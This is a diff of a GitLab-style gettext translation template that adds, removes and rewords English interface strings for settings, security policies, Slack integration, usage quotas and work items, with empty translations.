+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32983,9 +33563,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33136,10 +33713,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33271,6 +33848,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33895,6 +34475,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33907,6 +34505,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35004,9 +35608,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36017,7 +36645,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36394,7 +37022,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36601,6 +37229,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36625,9 +37259,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36643,6 +37274,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,12 +37286,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37242,6 +37897,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,10 +38272,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37623,6 +38290,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,10 +39849,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39200,22 +39864,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr ""
-
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39908,15 +40572,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40406,18 +41070,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41739,6 +42424,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,21 +43241,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42856,9 +43562,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43063,7 +43766,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43725,7 +44435,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44548,6 +45249,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44656,6 +45363,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44818,15 +45528,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45154,6 +45831,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45455,10 +46138,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45626,10 +46309,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45833,9 +46516,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45905,6 +46585,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46808,10 +47497,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47263,9 +47952,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47354,6 +48055,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47363,7 +48067,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47396,7 +48100,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47450,6 +48154,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47471,6 +48181,12 @@ msgstr ""
